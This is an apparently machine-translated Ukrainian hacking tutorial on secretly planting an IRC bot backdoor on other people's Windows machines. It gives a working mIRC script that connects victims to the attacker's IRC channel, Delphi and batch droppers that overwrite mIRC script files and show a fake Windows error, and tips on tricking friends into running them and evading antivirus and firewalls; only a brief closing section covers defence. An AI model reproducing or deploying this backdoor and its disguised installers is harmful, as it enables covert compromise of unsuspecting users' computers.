Вішаємо бота на вінди.



1. Intro.
2. Трояни.
3. mIRC скрипти.
I. пишемо свій скриптова бекдор
II. пишемо на delphi прогу, яка вставить бекдора у ворожий mIRC
III. пишемо на batch'ах прогу, яка вставить бекдора у ворожий mIRC
IV. Соціальний инженеринг: впарювати прогу =)
4. Обидва способи в порівнянні.
5. Як захиститися.
6. Outro.

1. В наші часи, серед власників популярних каналів, стало модним вішати на чанели по дюжині ботів з різних linux shell'ов для забезпечення, так би мовити, "безпеки каналу". Я, звичайно, нічого не маю проти всяких там eggdrop'ов, але як бути простим смертним юзерам, які не мають ні шелла, ні сс, ні знань (як наприклад у еліти з каналу # 31337 на сервері irc.dal.net.ru =)? Так ось в цій статті я розповім, як повісити бота на машину з win-подібної операционкой.
Имхо, існує тільки два способи здійснити це: трояни і трояни =) Почнемо з першого.

2. Якщо ти був на мсне (irc.msn.com) перед його закриттям, то, напевно, встиг насолодитися n-ним кол-вом ботів на каналах #russian_chat, #russian_girls, #russian_andybig і тд. Так ось, ці боти далеко не eggdrop'и. Це, так би мовити, SubSeven'и. Чув про такий кінь? Sub7 єдиний троян на моїй пам'яті, який дозволяв віддалено вішати irc-бота (я давно не юзал троянів, так що не знаю, чи з'явилися у нього аналоги). Так що качай Sub'a звідси і насолоджуйся. Ті ж, хто не звикли шукати легких шляхів, можуть читати далі.

3. Можливості mirc-скриптів оочень навіть значні. Написати на них той же самий сgi-сканер нікчемна справа, не кажучи вже про простенькому боті. Для прикладу візьмемо скрипт WarSatan. У нього якраз і вбудований такий "простенький бот". Коли ви з'єднуєтеся зі своїм коханим irc-сервером, скрипт попутно Коннект користувача guest до сервера irc.webchat.org і заводить його на канали #CHATOP, #MEKAH і #PANGKOR. Ось і весь механізм роботи. Наше завдання - написати такого ж простого бекдора у вигляді Мірко-плагіна.
I. Hаиболее важливі рядки буду коментувати.

on 1:CONNECT:{
;#открываем соединение с твоим irc cервером
.sockopen 31337 irc_сервер его_порт
}
on 1:DISCONNECT:{
;#при разрыве соединения убиваем сокет
.sockclose 31337
}
on 1:SOCKOPEN:31337:{
;#авторизуемся на irc-сервере
.sockwrite -n $sockname USER BOT "" "localhost" :Satanic bot
.sockwrite -n $sockname NICK ник_бота $+ $r(1,999)
;#заходим на твой канал
.sockwrite -n $sockname join твой_канал
}
on 1:SOCKREAD:31337:{
;#этот скрипт автоматически отвечает на серверный ping
;#без него сервер будет кидать бота, потому что тот не отвечает на пинги
.sockread %tmp
if ($gettok(%tmp,1,32) == ping) {
.sockwrite -n $sockname PONG $gettok(%tmp,2-,32)
}
}


Прибираємо коментарі, підставляємо свої значення, нумеруем рядки (просто скопируй це все в mIRC-редактор і збережи - він сам все пронумерує) і зберігаємо вийшло в файл control.dll.
Сам бекдор готовий. Тепер залишилося вставити його в чужій script.ini.

II. Ось исходник на delphi проги, яка шукає на гвинті файл script.ini і, при вдалому результаті пошуку, підміняє його нашим.

Важливо! Control.dll потрібно утримувати в одному каталозі з даної прогой.

program Project1;

uses
SysUtils,
windows,
shellapi;


const search = 'script.ini'; //файл который нужно найти и заменить
replace = 'control.dll'; //файл, которым надо заменить, должен быть
// в том же месте откуда запуститься эта прога =)


var buf: array [0..255] of char;
fl: PChar;
flag:boolean = false;

//процедура замены файлов
procedure Change(where:pchar);

function CopyFile(FromFile, ToDir : string) : boolean; //функция копирования
var F : TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or FOF_SILENT;
{$I-}
result:=ShFileOperation(F) = 0;
{$I+}
end;

begin
DeleteFile(where);
CopyFile(replace,where)
end;


//процедура глоб. поиска
function Find(DirN: string):boolean;
var
tsr: TSearchRec;
Full: string;

begin
find:=false;
if FindFirst(DirN + '\*.*', faAnyFile, tsr) = 0 then
repeat
if (tsr.Name = '.') or (tsr.Name = '..') then continue;
Full:= DirN + '\' + tsr.Name;
if tsr.Attr = faDirectory then //если каталог
Find(Full);
until (FindNext(tsr) <>0)or(tsr.Name = search)or flag;

if tsr.Name = search //если нашли
then begin
find:=true;
flag:=true;
Change(pchar(DirN+'\'+tsr.Name));
end;

end;


//Основной блок программы
begin
if SearchPath(nil,search,nil,sizeof(buf),buf,fl)>0 then
Change(buf)
else
begin
Find('c:');
// если надо и на других дисках искать то можешь сделать так:
// if Not Find('c:') then
// if Not Find('d:') then
// if Not Find('e:') then
//etc....
end;

end.


III. Якщо ж ти з роду не займався кодінгом і тя кидає в дріжджах від слова "компілятор", давай напишемо таку прогу на batch'ах.

echo off
cls
if exist mirc.ini goto in_the_same_dir
if exist c:\mirc\MIRC.INI set mirc=c:\mirc
if exist c:\mirc\mirc\MIRC.INI set mirc=c:\mirc\mirc
if exist c:\irc\MIRC.INI set mirc=c:\irc
if exist c:\irc\mirc\MIRC.INI set mirc=c:\irc\mirc
if exist c:\chat\mirc\MIRC.INI set mirc=c:\chat\mirc
if exist c:\chat\MIRC.INI set mirc=c:\chat
if exist c:\progra~1\mirc\MIRC.INI set mirc=c:\progra~1\mirc
if exist c:\chat\looksharp\MIRC.INI set look=c:\chat\looksharp
if exist c:\mirc\looksharp\MIRC.INI set look=c:\mirc\looksharp
if exist c:\irc\looksharp\MIRC.INI set look=c:\irc\looksharp
if exist c:\progra~1\looksharp\MIRC.INI set look=c:\progra~1\looksharp
if exist c:\progra~1\trion\MIRC.INI set neo=c:\progra~1\trion
if exist c:\progra~1\neo-ra\MIRC.INI set neo=c:\progra~1\neo-ra
if exist c:\progra~1\NeoRa\Trion\MIRC.INI set neo=c:\progra~1\NeoRa\Trion
if exist c:\progra~1\NeoRa\MIRC.INI set neo=c:\progra~1\NeoRa
if exist c:\chat\NeoRa\MIRC.INI set neo=c:\chat\NeoRa
if exist c:\irc\NeoRa\MIRC.INI set neo=c:\irc\NeoRa
if exist c:\chat\neo-ra\MIRC.INI set neo=c:\chat\neo-ra
if exist c:\irc\neo-ra\MIRC.INI set neo=c:\irc\neo-ra
if exist c:\chat\Trion\MIRC.INI set neo=c:\chat\Trion
if exist c:\irc\Trion\MIRC.INI set neo=c:\irc\Trion
if exist c:\Trion\MIRC.INI set neo=c:\Trion
if exist c:\NeoRa\MIRC.INI set neo=c:\NeoRa
if exist c:\Neo-ra\MIRC.INI set neo=c:\Neo-ra
if exist d:\chat\NeoRa\MIRC.INI set neo_here=d:\chat\NeoRa
if exist d:\irc\NeoRa\MIRC.INI set neo_here=d:\irc\NeoRa
if exist d:\chat\neo-ra\MIRC.INI set neo_here=d:\chat\neo-ra
if exist d:\irc\neo-ra\MIRC.INI set neo_here=d:\irc\neo-ra
if exist d:\chat\Trion\MIRC.INI set neo_here=d:\chat\Trion
if exist d:\irc\Trion\MIRC.INI set neo_here=d:\irc\Trion
if exist d:\Trion\MIRC.INI set neo=d:\Trion
if exist d:\NeoRa\MIRC.INI set neo=d:\NeoRa
if exist d:\Neo-ra\MIRC.INI set neo=d:\Neo-ra
if exist d:\mirc\MIRC.INI set mirc=d:\mirc
if exist d:\mirc\mirc\MIRC.INI set mirc=d:\mirc\mirc
if exist d:\irc\MIRC.INI set mirc=d:\irc
if exist d:\irc\mirc\MIRC.INI set mirc=d:\irc\mirc
if exist d:\chat\mirc\MIRC.INI set mirc=d:\chat\mirc
if exist d:\chat\MIRC.INI set mirc=d:\chat
if exist d:\looksharp\MIRC.INI set look=d:\looksharp
if exist d:\chat\looksharp\MIRC.INI set look=d:\chat\looksharp
if exist d:\mirc\looksharp\MIRC.INI set look=d:\mirc\looksharp
if exist d:\irc\looksharp\MIRC.INI set look=d:\irc\looksharp
if "%mirc%"=="" goto no_mirc
deltree /y %mirc%\script.ini
copy control.dll %mirc%\script.ini
cls
:no_mirc
if "%look%"=="" goto no_look
deltree /y %look%\System\lookevents04.sys
copy control.dll %look%\System\lookevents04.sys
cls
:no_look
if "%neo%"=="" goto end
deltree /y %neo%\root\trionscr7.ini
copy control.dll %neo%\root\trionscr7.ini
cls
goto end
:in_the_same_dir
deltree /y script.ini
copy control.dll script.ini
:end
echo Your Microsoft Windows is not correctly installed.
echo Pleas re-install it and try again

Ця байда методом тику шукає mIRC, NeoRa Trion і Looksharp. Імовірність знаходження досить незначна, так що бажано уламати суб'єкта покласти це файло разом з control.dll в один каталог з його irc-клієнтом. У разі вдалого результату пошуку, файло підміняє чужий script.ini нашим control.dll.
Конвертує цей bat'нік в exe'шнік якимось bat2exec'ом і можеш впарювати своїм друзям.

IV. Думаю, не мені тобі розповідати про те, як "впарювати" кому-то exe'шнік. Просто хочеться підкреслити одну особливість. Погодься, прохання запустити твій exe'шнік визивет підозра навіть у самого недалекого користувача. Так що, можна піти іншим шляхом. Для цього повернемося до пункту I. Не потрібно нумерувати рядки скрипта, просто засунь його в файл joke.mrc. Усе. Тепер роздавай його своїм друзям зі словами: поклади його в каталог зі своїм світом, введи в його консолі "/ load -rs joke.mrc" і насолоджуйся всією красою плагіна =)

4. І так, чому ж спосіб з підміною script.ini краще?
1) не ловиться антивірусами
2) не ловиться FairWall'амі. Думаю, багато хто відразу з піною з рота почнуть доводити, що ZoneAlarm і AtGuard оберегут їх від цього. Спец для них пояснюю: якщо mIRC в цих двох фаірвола прописаний як Allowed server \ client, то ФВ навіть не пискне при відкритті з'єднання бекдор.
3) важко виявити \ вбити навіть досвідченому користувачеві

5. Ну а тепер про те, як власне захиститися. Знову ж таки не буду розглядати спосіб з Sub7'ом (тому що з ним все зрозуміло: AVP + ZoneAlarm), відразу перейду до другого.
Для виявлення скриптового бекдора варто скористатися якимось mIRC плагіном вроди IPSearch'a, який пошукав би на сервері користувача з таким же іпомею як у тебе. Якщо такий є, значить хтось однозначно повісив на тебе бота. Якщо ж такої не знайдений, значить або бот на іншому сервері, або ти чистий.
Також, для виявлення бота можна використовувати той же самий ZAlarm: на даний момент, найбільші IRC сервери, перевіряють всіх клієнтів на проксі. Яким чином? Простим скануванням портів. Так ось, якщо ти Коннект до сервера irc.some.com, a порти у тя сканує якийсь irc.lame.com, то варто задумкаться ...
Як вбити бекдора? Якщо не розбираєшся в скриптинга, просто переустанови irc клієнт.

6. Ну що можна сказати в завершенні? Чи не юзайте незнайомі скрипти і не змушуйте інших це робити =)